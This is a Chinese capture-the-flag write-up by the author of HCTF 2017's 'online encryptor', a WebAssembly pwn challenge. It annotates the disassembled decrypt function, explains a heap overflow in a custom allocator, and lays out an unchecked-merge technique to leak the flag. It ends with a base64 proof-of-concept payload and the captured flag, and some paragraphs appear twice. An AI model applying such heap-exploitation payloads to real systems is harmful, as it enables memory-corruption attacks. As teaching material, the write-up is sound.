online encryptor
背景
這題由于放題的時候失誤沒把題開始就放上去,所以剩下的時間可能不夠去做了。而且好像有被題目名誤導到的人( 。回到題目,這題是一個披著web和crypt皮的pwn題。事實上,在之前剛看到wasm的時候我就有想能不能搞個pwn出來。然后這次也算是實現了自己的一些想法。
webassembly (以下簡稱wasm) 技術目前可以說并不完善,而且我也并不算是了解了整個系統的全貌,因此如果有理解不到位的地方請見諒,歡迎一起討論。
事實上,在wasm技術提出之前就已經有類似技術出現了(asm.js),wasm和asm.js不同的是wasm創建了二進制文件格式(.wasm)和新的匯編語言。比如helloword的匯編看上去就是這樣的(會lisp的同學看起來大概沒啥鴨梨)
(module
(type $FUNCSIG$ii (func (param i32) (result i32)))
(type $FUNCSIG$iii (func (param i32 i32) (result i32)))
(import "env" "iprintf" (func $iprintf (param i32 i32) (result i32)))
(table 0 anyfunc)
(memory $0 1)
(data (i32.const 16) "hello world!\00")
(export "memory" (memory $0))
(export "hello" (func $hello))
(export "test" (func $test))
(func $hello
(drop
(call $iprintf
(i32.const 16)
(i32.const 0)
)
)
)
(func $test (result i32)
(i32.const 16)
)
)
關于這些指令的具體意義可以去官方文檔上看。這里就不多展開了。兩者的目標相接近,都是為了能用c/c++語言寫web(可以想象一下js那效率。。。),所以這題的wasm當然也是c寫的。
然后怎么出成一個pwn呢,wasm存在函數棧,但這部分是有嚴格check的(可以類比下python的,其實js引擎負責解析wasm的部分也是個解釋器),而且這個棧是對用戶隱藏的,也就是搞棧這條路斷了(至少我沒想出來怎么搞這個棧),于是打算出一個關于堆的pwn。
這題本來想用emcc編譯,但emcc編譯出來的wasm和js復雜難懂。。。至少我覺得如果我用emcc編譯出來那是99%沒人做出來的。所以用了clang+binaryen+wabt 來生成wasm。接下來介紹幾個必要的姿勢:
- memory layout
wasm的memory默認是從0開始向下拓展,以10k為一個基本單位,當內存不夠的時候可以通過grow指令增長,當然js層也有相應的接口可以調用。memory里面會有全局變量,當然你想放啥都可以,自己實現一個堆管理或者直接用glibc的那個堆管理都是可以的。同樣,js層和c層都可以對其中的內存進行讀寫操作。
- js層和c層的互相調用
js調用c層可以通過在c層定義好相應的函數,然后export,直接就能在js層調用,這里說一個參數問題。
wasm用的是32位,也就是參數和返回值都可以當作uint32_t,對于js來說這就是單純的一個數字,但對于c來說如果你是char* ,那么它就是指向memory地址的一個char指針。如果是int,就是整形,這點就會有一個問題,就是你如果想在js傳字符串到c那邊,得對memory做操作,而不能直接把js的字符串當做參數傳。
c層調用js也是類似的,在js那邊預先定義好一系列函數然后放在同一個object里傳進wasm的環境。再說一遍,這兒的參數和返回值也都得是uint32_t。
- c層的限制
由于是用js做為環境而不是linux的環境,所以很大一部分的c庫函數都無法使用,當然要用也可以,可以用js模擬出一個linux的環境(把syscall都自己用js實現一遍),可能有現成的,但為了保持題目簡潔,我并沒有引用glibc的函數。期待以后wasm能有自己的底層環境而不用去依賴js。
回到題目
這題是一個nodejs作為后端的在線加密器,在js層調用了wasm進行加解密操作。可以輸入一個8字節的password和任意字節的data做加解密
加密為流加密,邏輯大概是這樣的:
key = hash(hash(flag)^pass)^random;
其中hash函數是我自己實現的(亂寫的),接受任意字節,返回16字節;flag為32字節,pass為8字節,random為16字節,通過js層的random獲取。
output = random | enc(data, key);
enc函數內部會把key拆成4字節的4部分,利用 mt_rand 作為PRNG把data加密4次。
解密流程相同
但看這個加解密是拿不到flag的,因為flag在最開始就被hash了。所以這題就是pwn啦。
然后堆是自己實現的,其中
struct chunk {
unsigned int size;
unsigned int pre_size;
struct chunk* fd;
};
題外話,自己寫過堆之后才發現這種結構是不可取的啊,具體的就是這個pre_size的field沒法重利用了。反正不管,這里的pre_size和fd都不會重利用(偷懶); 不同size的堆塊放在不同size區間(間隔0x10)的單鏈表里,但不會做align,
`#define find_index(size) ((size/0x10) > 0x20 ? 0x1f : (size/0x10)) ;`
用單鏈表實現了類似unlink一樣的效果:
void unlink(struct chunk* current) {
int index = find_index(current->size);
struct chunk* ite = bins[index];
if(ite != 0) {
while(ite->fd != 0) {
if(ite->fd == current) {
ite->fd = current->fd;
break;
}
ite = ite -> fd;
}
}
}
也可以做merge,具體源碼在github上,可以看到,基本全程沒啥check,一些glibc用不到的技巧都可以用了!
說了這么多,洞在哪呢??以下為wasm2wast 跑出來wast的一部分
(export "memory" (memory 0))
(import "env" "grow" (func (;0;) (type 1)))
(import "env" "read_data" (func (;1;) (type 1)))
(import "env" "read_file" (func (;2;) (type 2)))
(import "env" "read_pass" (func (;3;) (type 1)))
(import "env" "read_random" (func (;4;) (type 1)))
這些是內部函數同import 函數名之間的關系
(export "malloc" (func 5))
(export "unlink" (func 6))
(export "free" (func 7))
(export "Initialize" (func 8))
(export "ExtractU32" (func 9))
(export "hash" (func 10))
(export "mycrypt" (func 11))
(export "encrypt" (func 12))
(export "decrypt" (func 13))
(export "out_size" (func 14))
這些是內部函數與export 函數名之間的關系
來看看decrypt函數
(func (;13;) (type 0) (result i32)
(local i32 i32 i32 i32 i32 i32 i32)
i32.const 32
call 5
set_local 5
i32.const 1024
call 5
set_local 0
i32.const 8
call 5
set_local 1
i32.const 16
call 5
set_local 2
i32.const 2672
get_local 5
i32.const 32
call 2
drop
get_local 0
call 1
set_local 3
get_local 1
call 3
drop
i32.const 0
set_local 6
block ;; label = @1
loop ;; label = @2
get_local 6
i32.const 16
i32.eq
br_if 1 (;@1;)
get_local 2
get_local 6
i32.add
get_local 0
get_local 6
i32.add
i32.load8_u
i32.store8
get_local 6
i32.const 1
i32.add
set_local 6
br 0 (;@2;)
end
end
get_local 5
i32.const 32
call 10
set_local 4
i32.const 0
set_local 6
block ;; label = @1
loop ;; label = @2
get_local 6
i32.const 8
i32.eq
br_if 1 (;@1;)
get_local 4
get_local 6
i32.add
tee_local 5
get_local 5
i32.load8_u
get_local 1
get_local 6
i32.add
i32.load8_u
i32.xor
i32.store8
get_local 6
i32.add
i32.load8_u
i32.xor
i32.store8
get_local 6
i32.const 1
i32.add
set_local 6
br 0 (;@2;)
end
end
get_local 1
call 7
get_local 4
i32.const 16
call 10
set_local 1
get_local 4
call 7
i32.const 0
set_local 6
block ;; label = @1
loop ;; label = @2
get_local 6
i32.const 16
i32.eq
br_if 1 (;@1;)
get_local 1
get_local 6
i32.add
tee_local 5
get_local 5
i32.load8_u
get_local 2
get_local 6
i32.add
i32.load8_u
i32.xor
i32.store8
get_local 6
i32.const 1
i32.add
set_local 6
br 0 (;@2;)
end
end
get_local 2
call 7
get_local 1
get_local 0
i32.const 16
i32.add
get_local 3
call 5
tee_local 6
get_local 3
i32.const -16
i32.add
tee_local 2
call 11
i32.const 0
get_local 2
i32.store offset=2680
get_local 0
call 7
get_local 6)
看上去很長,把這個decrypt函數稍微翻譯下:
看上去很長,把這個decrypt函數稍微翻譯下:
(func (;decrypt;) (type 0) (result i32)
(local i32 i32 i32 i32 i32 i32 i32)
i32.const 32
call malloc
set_local 5 // var_5 = malloc(32);
i32.const 1024
call malloc
set_local 0 // var_0 = malloc(1024);
i32.const 8
call malloc
set_local 1 // var_1 = malloc(8);
i32.const 16
call malloc
set_local 2 // var_2 = malloc(16);
i32.const 2672
get_local 5
i32.const 32
call read_file // readfile(21, var_5, 2672);
drop
get_local 0
call read_data
set_local 3 // var_3 = read_data(var_0);
get_local 1
call read_pass // read_pass(var_1);
drop
i32.const 0
set_local 6 // var_6 = 0;
block ;; label = @1
loop ;; label = @2 // while;
get_local 6
i32.const 16
i32.eq
br_if 1 (;@1;) // if(var_6 == 16) break;
get_local 2
get_local 6
i32.add // var_2 + var_6;
get_local 0
get_local 6
i32.add // var_0 + var_6;
i32.load8_u
i32.store8 // *(var_2 + var_6) = *(var_0+var_6);
get_local 6
i32.const 1
i32.add
set_local 6
br 0 (;@2;) // var_6 += 1;
end
end
get_local 5
i32.const 32
call hash
set_local 4 // var_4 = hash(var_5, 32);
i32.const 0
set_local 6 // var_6 = 0;
block ;; label = @1
loop ;; label = @2
get_local 6
i32.const 8
i32.eq
br_if 1 (;@1;) // if(var_6 == 8) break;
get_local 4
get_local 6
i32.add // var_4 + var_6;
tee_local 5 // var_5 = var_4 + var_6
get_local 5
i32.load8_u // *var_5;
get_local 1
get_local 6
i32.add // var_1 + var_6;
i32.load8_u // *(var_1 + var_6);
i32.xor
i32.store8 // *(var_4 + var_6) ^= *var_5;
get_local 6
i32.const 1
i32.add
set_local 6 // var_6 += 1;
br 0 (;@2;)
end
end
get_local 1
call free // free(var_!);
get_local 4
i32.const 16
call hash
set_local 1 // var_1 = hash(var_4, 16)
get_local 4
call free // free(var_4);
i32.const 0
set_local 6 // var_6 = 0;
block ;; label = @1
loop ;; label = @2
get_local 6
i32.const 16
i32.eq
br_if 1 (;@1;) // if(var_6 == 16) break;
get_local 1
get_local 6
i32.add
tee_local 5
get_local 5
i32.load8_u
get_local 2
get_local 6
i32.add
i32.load8_u
i32.xor
i32.store8 // 和之前一樣(var_1 + var_6) ^= (var_2 + var_6);
get_local 6
i32.const 1
i32.add
set_local 6 // var_6 += 1;
br 0 (;@2;)
end
end
get_local 2
call free // free(var_2);
get_local 1 // var_1
get_local 0
i32.const 16
i32.add // var_0 + 16
get_local 3
call malloc // out = malloc(var_3);
tee_local 6
get_local 3
i32.const -16
i32.add // var_3 - 16
tee_local 2 // var2 = var_3 - 16
call mycrypt // mycrypt(var_1 ,var_0 + 16, out, var_3 - 16)
i32.const 0
get_local 2
i32.store offset=2680 // *(2680) = var_2;
get_local 0
call free // free(var_0);
get_local 6)
這樣就翻譯的差不多了,應該和我開始對加解密的描述差不多,可以發現,js層傳入的data長度最長可以有0x1000個字節,但從decrypt函數可以看出data這只malloc了1024個字節,于是多出來的就造成了一個堆溢出,可以利用類似方式(手工)對其他函數包括malloc和free函數進行逆向,雖然工作會艱辛很多233。
接下來我們來看看如何利用,來看看開始的那幾個malloc之后的layout
heapbase: flag
key+32+12: data
data+1024+12: pass
pass+8+12: random
可以看到data下面就是pass和random,除了flag沒有被free(這是我覺得強行出題的一點。。。),下面的pass和random都會在用完之后被free,那么就想想怎么把flag leak出來吧!
接下來的部分可能對不了解堆內部的人很模糊,如果沒看過源碼或者自己逆過就別看了====
默認你已經知道這個堆和加解密部分的實現了。
可以想到的一個最簡單的方式是讓最后output指針malloc到flag前面,然后修改2680那個outsize到合適大小(如果大小超過了memory長度,不會反回結果)。問題是在于怎么實現,我們能做的:
- 在程序開始的時候溢出data塊,能拿到兩個可控的即將被free的堆塊
- 最后修改outsize的時候只有一個操作就是free(data); 也就是得在free之后改掉2680那個size
做到這兩點在glibc里應該是不可能的,但這個堆沒有任何check。
做到這個的最關鍵的一點在merge的時候
void free(unsigned char* ptr) {
struct chunk* current = to_chunk(ptr);
struct chunk* next = next_chunk(current);
if(!(current->size & 1)) {
struct chunk* pre = to_mem(current) - current->pre_size - 12;
pre->size += ((current->size&0xfffffffe) + 12);
// unlink pre
unlink(pre);
current = pre;
}
...
}
不會有任何的check,也就是我們能把當前的size加到prev塊的size位上,但prev塊的size位的位置是由當前堆塊的pre_size位決定的,于是就能在前面任意位置加上當前size,只是這個size不能太大,不然在找當前塊的下一塊的時候會超出memory長度。
現在有任意寫了,但有一個問題,要做到這點得把當前塊的inuse位清0,而data塊要改inuse位不容易。因為上面沒有任何堆塊,而且也不能拿兩個能溢出的堆塊中一個堆塊改size,因為只能加上偶數的size,并不能改變size的inuse位。
沒有堆塊就自己創建堆塊!free的時候會merge上面的堆塊,然后merge之后的那個size我們是可控的,在free的最后,會清空下一塊的inuse位然后設置pre_size
那么思路就出來了:
- 覆蓋pass堆塊,使其merge完的結果在data上面,同時設置data塊的size字段
- 覆蓋random堆塊,設置data塊的pre_size
- malloc output的結果會到key上面那段
- free data塊的時候就能把size加到outsize,達到leak
然而實際操作中兩個free的堆塊在bins中的長度都會超過0x200然后分到最后一個鏈表,output會優先取random堆塊free的那塊。所以得把1,2的操作反一下。然后這題就解決了,可喜可賀(
ps:出題人沒有源碼大概也沒法做出來
pps:寫堆管理很有意思,出完題看著源碼自己日自己寫的題還日了一整天也很有意思
ppps:比賽完再逆一遍自己的題不容易,各位要打出題人的請手下留情orz
poc:
那么思路就出來了:
- 覆蓋pass堆塊,使其merge完的結果在data上面,同時設置data塊的size字段
- 覆蓋random堆塊,設置data塊的pre_size
- malloc output的結果會到key上面那段
- free data塊的時候就能把size加到outsize,達到leak
然而實際操作中兩個free的堆塊在bins中的長度都會超過0x200然后分到最后一個鏈表,output會優先取random堆塊free的那塊。所以得把1,2的操作反一下。然后這題就解決了,可喜可賀(
ps:出題人沒有源碼大概也沒法做出來
pps:寫堆管理很有意思,出完題看著源碼自己日自己寫的題還日了一整天也很有意思
ppps:比賽完再逆一遍自己的題不容易,各位要打出題人的請手下留情orz
poc:
MTIzNDU2NzgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJD1AAD8AwAAAAAAAGFhYWFhYWFhXAQAAJgIAAAAAAAA
結果:
??n?&??A?t???oe??.^?????S?;c?d3?<???g?"?????X?? * ??????vm ????F ?|?D+??}u?e??bq?????**! ???????!hctf{MaYb3_heAp_15_AlS0_HARD428}t??5678???12345678
2017HCTF-Writeup